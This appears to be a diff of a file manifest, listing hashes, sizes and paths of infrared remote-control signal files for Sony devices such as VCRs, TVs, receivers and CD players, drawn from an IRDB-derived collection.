-F:97110e6076b36eecd3226499911b784d:1173:infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir -F:bbf12eb50c54cd09e8a46f03dcc33025:5207:infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir -F:9d81de702ea761119484891fd9ff9928:5007:infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir -F:3e71629a92dd1686dedb1a0045f0ca9f:1931:infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir -F:894887ee279864b0542098c2dc4a5113:2866:infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir -F:f038d083b9070a91c5a20dbd237c60bd:3174:infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir -F:43c17ca5798edd30f092b43ef1d8e8f9:322:infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir -F:1ba0ab4c10d053446844f4878b203255:2224:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir -F:02541c46fc2730badd00452f4e7c851e:1868:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir -F:8b7af5ba2cf774d9bb14e5dae7ccfb3d:2062:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir -F:042d23f945a39206aa82b6b74ddef67d:2859:infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir -F:88ef81589d99cbf9c4b3f31277be4a65:2852:infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir -F:0d6e64b759418495f9eb6fad9b795f88:1371:infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir -F:88a0a64b3acd4ca4e98540aa85acff0f:1189:infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir -F:ab0a2a3c13f038f509f0c14b0ae7f8e4:1168:infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir -F:a1fb63edbda291cb4b24c28a4fe806a8:1169:infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir -F:9580c3e3cc8627555072ef13c63a318a:2669:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir -F:b7fcd1e9161a57f4ba2c3b7abd1ec5fb:2777:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir -F:155855f61e549dcc7a1d86292712f6c3:2878:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir -F:f5b470fb1f19598f90f77258df8e78ae:4237:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir -F:1bf640cd6b631e797ece4d9313262890:1818:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir -F:4be0f52789b998164190129fb9059a61:1012:infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir -F:610c6908a8502140902869ebd765751c:717:infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir -F:7faef0d46b3197ee853f9fea83af8c14:4032:infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir -F:3b3338a1c6e21c7c58ba1bc5d3080a9c:2177:infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir -F:eafc33bd4b281a9838215a8c9dbef41e:3261:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir -F:933c95e05694f36438129c96209b4fe4:3097:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir -F:d209d3d3c36ad99086057f6567da9aee:2979:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir -F:98741fa1ca5655344ec7b8ccf7b7f4eb:4049:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir -F:550e713ff845654cbab156e50cde46c0:1083:infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir -F:6c416b1273b765552697a50d5861652a:3175:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir -F:75d167ee21484301c0217fc60e9958a8:3366:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir -F:8b96c651e1050694801d2d08e3321924:4533:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir -F:f9831ffadd4a0e77fc042cb73dcf0dd7:2676:infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir -F:c86b4d0881c2b6b697a32ee0d4482b26:318:infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir -F:1d537b757a3c8ae803e1ebf7971d37c3:3189:infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir -F:040c63b21da9e2020b7d0f141fced8a3:3961:infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir -F:9df426d84d1fb2c9dbc6152ee02c33e9:1642:infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir -F:5a9baa5e438a6742bcc97dd02c17a318:7754:infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir -F:257752a28735041ede8459701eed786a:3406:infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir -F:360d8b79bdfa49d79c276b85b3df113f:1344:infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir -F:89e21f28a75b48ef49b23a1275d294f6:1745:infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir -F:08c48e13f0fc53197fd8a5f0df20b4d1:1731:infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir -F:1b272001c1b6236f112fc9e719fd7280:3030:infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir -F:eb70b6cd3eda1024b4962c7d77c52a39:2144:infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir -F:89d4de8b45187f2e0efd4c9e3f42efb1:2853:infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir -F:69f4725285f5c8ae22b6de37d24be269:5870:infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir -F:8ba70b3a61074f902c191c9a1136069b:7543:infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir -F:4bc2f58d488d26f1a629f8ff85da3e0e:126:infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir -F:69632338d66a7a2d712ef273dd641dd9:229:infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir -F:eca68ea9da72da084a0be3a819786494:17392:infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir -F:14c598b0a2c21fa9e1263413cb9a3565:1753:infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir -F:d63130da53a30ae34dde34fbf43140d9:1188:infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir -F:19b3ecc2179b3cd23b4bc8ddbd6a5ed8:5133:infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir -F:d19393a2ba2e893d2f9d38a0807557bf:9644:infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir -F:19624cd596de13fc68571b5d683f407b:3527:infrared/_CSV-IRDB_/Sony/VCR/25,37.ir -F:ed96b534eba48d3410ac74ea24933217:231:infrared/_CSV-IRDB_/Sony/VCR/25,69.ir -F:743a2a0983caab20b631f007a79b2cc1:127:infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir -F:a70166cb2ea87c5c6f77731096a8a7bb:8397:infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir -F:eab05f0e02c11325a3ae334894489a91:872:infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir -F:f4c1666d8ac59085dd6c55b9e6fc5936:5887:infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir -F:fc779307d4264e40891c019b4d4514bf:11195:infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir +F:6416902f39fdded81ff0fd90f5c2cad6:1808:infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir +F:4ae14bb3dc0249fa6b947c6b39596b39:825:infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir +F:f34f37c69486472ddde401cbcc110e36:446:infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir +F:d2f4d927bc37ad39c02c72259d65c88f:126:infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir +F:fc24ad195d8cf572de23d7f2c22fb1f2:12177:infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir +F:a110aa4dde8985c57b5b581033d04aa8:118:infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir +F:10f731bcdb151173959f52003bf39a54:129:infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir +F:e5431739c6eb3ee942e63700ce1c1dd0:118:infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir +F:ba01b6c35eb81e8580a83c3bdef51f30:3324:infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir +F:24e5c5463e72314e011d61ed33a93afa:3588:infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir +F:d2f4d927bc37ad39c02c72259d65c88f:126:infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir +F:665847bfb8d858e96ce09516a013aea5:14497:infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir +F:c8848640f4e717d4ec90623bf9bc53a5:6015:infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir +F:70a80c4814809e26c60ebcc282d88814:6108:infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir +F:dbe68954185bfd315f49c6a163a339da:1122:infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir +F:6421857768257514e6ccc3a656aa41dc:744:infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir +F:fb4c5dab5efabb714b61227132a069fa:2653:infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir +F:84a6f7e224bcfe3214bad8a2b6002ea6:2545:infrared/_CSV-IRDB_/Sony/DSP/26,233.ir +F:b1bf4976ecd8173950d63ee454528de3:734:infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir +F:8e0e9951c10c174dab95b49b5da5d672:124:infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir +F:11fe4f69b6dc58ca0da9a15ff6ffc7d7:9455:infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir +F:ac5f11dce490b722010ec2b4999e164d:2980:infrared/_CSV-IRDB_/Sony/DSS/23,133.ir +F:286ef7d430510d154f5883ce68837fe0:217:infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir +F:242f124b78ebc8070d0cf6e3a2d92523:126:infrared/_CSV-IRDB_/Sony/DSS/5,1.ir +F:7448b8ab1bd991308b0799bf724710e7:389:infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir +F:44b4ac0daf7bb156e8708227581e72f8:396:infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir +F:b4874c4115263254fd7c079752a1bd5f:218:infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir +F:ff52b539e0f4b0ad988c3dd85719a6bc:1276:infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir +F:6f8b5fa6cd4ccf4aef08b0263de834c5:392:infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir +F:32b1a8ee63db8e3e0d913e0c76b64757:127:infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir +F:6aaaef08459a5ff9ad6978b47e71e5a9:1381:infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir +F:acc0b90be0e9796eb6bb8893d5173e01:18166:infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir +F:442f28a6b979e69f33704f63a0f8d706:4038:infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir +F:6943dd7c122815b7942b3a78b109eeb6:3388:infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir +F:6c580c1d18872d617a117d6d18e1d014:134:infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir +F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir +F:1dc1ea5b083405cfae89e3d25613af08:2889:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir +F:e7c1cb199f75df489fbaa43197b0e6ad:1851:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir +F:280354a068bb9a3dc465ffb7ff6aa957:661:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir +F:4ebda18e9dc636dfe75c43efe95fc27c:4607:infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir +F:46cd669c4fb51ceef7bec9a3dc99232e:6728:infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir +F:e64a4c0f5c2228a2d0fcff2ab8c5eb10:388:infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir +F:91157c967ae26a09414a03fbce25d2a1:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir +F:a3094439a165536cf3dd376e232cf81e:1020:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir +F:f29e6f5f2ef2efa397287c5361d4e7fc:1879:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir +F:ea7ad3d16349a8aac48ad1e23c33c6bf:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir +F:75017fb506902030c962291dc1687614:3385:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir +F:abfd763f583032c699ceea1952af75c0:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir +F:0431fd9adb29f00b38252fe79185b7eb:1028:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir +F:514677be455e168696ff7a2cd6133696:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir +F:e6f30759647ddeed7988f9d543613fce:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir +F:0d35bfbd8b0d65e96dd430a60a3a10cb:1900:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir +F:7bcd72a0705dcf1addc88ef2a9c69e65:3115:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir +F:0d62edd45609cc5a8020df05bfffef21:1487:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir +F:1bc57447d2ae631dc075aae6e385bed5:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir +F:dbb1c742937fd03e5c924a59dd045ab6:4015:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir +F:bf9005f148f58d453211ddf92a2cdc52:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir +F:d6f13bd03288885bfed1b5a420c016bf:118:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir +F:c38bcdd1c9b9fe93c6b9121b22e89496:1436:infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir +F:27a0cb47e637376f2c6218f4d8657814:827:infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir +F:5c82351dda07d3710824671226bc3837:2419:infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir +F:0d1cc9a619ef111bd04e503cc2fc8d37:2018:infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir +F:2b046c10dcad4a3d7661d40158b33a3f:5359:infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir +F:b425ece3cf639f09bde74b0715391f44:2841:infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir +F:f5ce727381e846c1d2800953cf65afe7:1114:infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir +F:7a428065ae7dbc7c32debde06814ec0d:8035:infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir +F:91906673e8514533ff825df7a157fb14:480:infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir +F:8591e0f5107f221d53b1859ed88ecfcb:1001:infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir +F:4c5f61cfa5702c84cb8b2d6308b7d908:3322:infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir +F:4d5a29af3cd20b1dc8746f4837263a14:292:infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir +F:ee9710c4fbda0f5d2c414956123f40ec:1738:infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir +F:7e4eae3f9d1a1d7c0314ca0101daf30c:4897:infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir +F:c629f03c81f9967d5f4194e321c44009:1338:infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir +F:e2881cf6382e33f04b5db060aeefaaad:752:infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir +F:31570d57136d7e13f5afeecf23bc4a5a:19974:infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir +F:3acbb7b6272606a1f7a0f8ad59b91f3e:401:infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir +F:0d299fe8ace1a1bd6f848a6ba0d1143a:3946:infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir +F:a1c6fec5d98bde8be73e6b5c0d7d640b:199:infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir +F:8a49a8ead1240d6930ea7d830d5ad258:199:infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir +F:55b6ed081bd38def6062cd59ef3960f1:118:infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir +F:b9b5c1a974e634401189a01c368d73aa:1802:infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir +F:b7573a5141eac3ebe85580c421876602:9431:infrared/_CSV-IRDB_/Sony/TV/1,-1.ir +F:1c743eb3e47c4fcb01fefa090957a216:675:infrared/_CSV-IRDB_/Sony/TV/119,-1.ir +F:ac73f0f3a1e3b6eb1ba200b579a4aeaf:1749:infrared/_CSV-IRDB_/Sony/TV/151,-1.ir +F:2bd9417e1936bb6773955d9af3a5fa86:5483:infrared/_CSV-IRDB_/Sony/TV/164,-1.ir +F:1d40d3a5d1f6d27b8c51bfce03ecd80f:123:infrared/_CSV-IRDB_/Sony/TV/183,-1.ir +F:4c2ba763a05167eb5980d1326e6a556f:1748:infrared/_CSV-IRDB_/Sony/TV/26,-1.ir +F:57d05504aa3a8450dbef1bf16b7037b8:697:infrared/_CSV-IRDB_/Sony/TV/26,42.ir +F:dd6dc7bc54194584ee2dcc6046f254c0:1195:infrared/_CSV-IRDB_/Sony/TV/3,-1.ir +F:ccc7e6b73ddc09af5101782562d44c8d:1209:infrared/_CSV-IRDB_/Sony/TV/84,-1.ir +F:6e2669686804f5258c917b5f133e8a8a:3225:infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir +F:431640f4384be15cec79d53d6f2f663e:2960:infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir +F:c63c9f23a8a2e3fcd23276b4efd6997f:6037:infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir +F:1555b6ff21d14289bb68503a30a59fad:2606:infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir +F:e776ad0086ce5f539948f7819bf1691d:4091:infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir +F:c941b8d721fc473eee12e9e62578d756:3999:infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir +F:d4b81fcbb89ce1115930ce1cc9e38f90:3739:infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir +F:b5a3fd12f7c5f9d8f49302eb4be619a2:3742:infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir +F:7c3e2c4b8d77b2c2c9ef3e2877ac47f2:2258:infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir +F:9466f8f85132a47645c1dacdda0aefe9:3187:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir +F:3f66adcbf34c2b3056e15a04a527b6a2:3634:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir +F:13996070db5f5167109bb39d336b6c31:2256:infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir +F:316461e49e47dedb100f9f8930b00f01:1121:infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir +F:18b405749babe5c76a88fceaa2d6ee18:2682:infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir +F:b71b9f54878ffcd41a6d4f5579628a71:2603:infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir +F:188980956d4322bbb8697db1f9cad934:2051:infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir +F:d1031315bce49043ee7483263d8993d8:3252:infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir +F:766b8d874c9daaafe8297e27ddbe93ee:2321:infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir +F:278a05dd1337072ec244e64ebf323851:3069:infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir +F:59881cfe5adcb6bba5ae0c62c2cf3d74:2315:infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir +F:ea85a2267ffee168dd2c3d20d214356f:2666:infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir +F:d0d9767714d91991e987dfeffd58e851:2413:infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir +F:3843b0f85beeca86809a203a72bf794c:2679:infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir +F:924eb2624e4c287e8b6751efbb02ea4d:2553:infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir +F:132085e40672c1b5e90ab2ad3d27bfd7:3450:infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir +F:55eb3aa3bd3eff5c6df5416b4c8d393b:4218:infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir +F:ec3020b1e6195603b66f8fe3dcb6a536:3989:infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir +F:c8acee0effe8957ccaad73040a0a07b1:7866:infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir +F:bd7c8be2eeab9ac7b912840585c5bce2:2675:infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir +F:11728ae77b68705f48b2c2ef366311d4:1099:infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir +F:1d238871263d3c6928d6a4ac2f27e939:4875:infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir +F:3d370d45ca5826700fc6dd6d626ba23b:4687:infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir +F:08840e4e1795894c568e6b3c411d55df:1809:infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir +F:8d930d190f94108f9ce7a9c54ef95288:2684:infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir +F:68354e419930a995b9e3e3412d735e1f:2974:infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir +F:c4439000ffc3dce8850f08edef7f9b70:302:infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir +F:06e452dbe2e06aaaa77ef619dd5fe198:2084:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir +F:feb178bc43bb10f06c2dae2116bb1011:1752:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir +F:ea22e5e54adeaa6ef240dd65fce45b0e:1934:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir +F:b50a06b877ac7b96c5a7f930b962e6a8:2677:infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir +F:145ff98a868ff002aa51b1848e9c799d:2670:infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir +F:72fc8dee49ffbb07ff4163b9de99cd68:1285:infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir +F:a6631cc6c6bc89d300927d3434c3d3a1:1115:infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir +F:2eb8a25fdf6c7614e30c6f23a648974f:1094:infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir +F:41e93e5bf7344fa2945b7405e968ee5e:1095:infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir +F:611b1d72c121dc9a40da35c6e058ac51:2499:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir +F:204cd8194173b5358ad05e8d69edb281:2601:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir +F:03744704ea1ac384805deeea7a1b98f8:2696:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir +F:2f16b7dd4d205a9273fdfab5ad29f02e:3971:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir +F:979bc89cd23b65571eb9f816f6c496ba:1702:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir +F:525fb2f003c6778aa2f5aa311dff7bc7:950:infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir +F:0cc1a6c2e17536b0695994aaa94635ee:673:infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir +F:a8b3df3464377167eeb67b0f038dbaf0:3778:infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir +F:6d2f1fe1ee578b41d384e9a77b6f928f:2037:infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir +F:9808f1f9b614f0b3d8f99b9d48d076f5:3055:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir +F:500d667f6feec07e43f753710f8541eb:2903:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir +F:045c33f8ea8a91518800d1640a703c46:2791:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir +F:f4d49ba41d1d829156543ac6d3737a31:3795:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir +F:fa1115fe17c0a8cf4c4333dd82e2bc9e:1015:infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir +F:d84746e38afb12ab25b83292b2810837:2975:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir +F:56ab5cac17482612b5c556ff16942c60:3154:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir +F:e7fd90a10ff65914f9f261585a2883b8:4249:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir +F:80baef165b0d4f9e0a0c7208d4868bcd:2506:infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir +F:e5e937a461e2515561e5b63d7a081d2b:298:infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir +F:4d777c7a177a39814d84bbbd090557c7:2989:infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir +F:7874ee2670f2627256d8285144607131:3713:infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir +F:c9063674a9a7bf9f0852e91b9024da7c:1538:infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir +F:c90f00360a4f1fa8b55f72b03ebbdcba:7254:infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir +F:f7a7be07f89b14cb9c10b3c8cfa6e26b:3188:infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir +F:7c43f05f5a8e706720445df87269c2b2:1258:infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir +F:ac5cdef0cbede5dd8b5be856985f8470:1635:infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir +F:044229e2aa1f9a77d076fb00d75e8bd3:1621:infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir +F:2df51be0e4537062b3e6b32d6640a377:2836:infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir +F:e57f858f91439830413d1f7464d95c2f:2010:infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir +F:dc9528f28a27075ee33ae19c89d6d187:2671:infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir +F:5e8b1da3f6f4d596c1371d37ca02a66e:5496:infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir +F:ce701acc960a3750470e7224c598bcdc:7067:infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir +F:a3446d19047ec8cbaeee56971ba167ef:118:infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir +F:b5ab361d7479247be046215941efdcab:215:infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir +F:1ad2e18ad65d6b4cdd69c6dffbca94a2:16298:infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir +F:4970d585b092a2cb4ae85006a2e0c95c:1643:infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir +F:6371be9e46a2fba0d086d699ba5e3cbc:1114:infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir +F:0b9732edcaba9c96f6156b0499530155:4807:infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir +F:008765a917e58d9d8c86cf7a71e1cbeb:9036:infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir +F:2f1f53115b532d94ec379ac58e14feed:3297:infrared/_CSV-IRDB_/Sony/VCR/25,37.ir +F:31f4b25476bd71edefde287f70365c5d:217:infrared/_CSV-IRDB_/Sony/VCR/25,69.ir +F:48515eea1223b1b5df7a8b237ad7e767:119:infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir 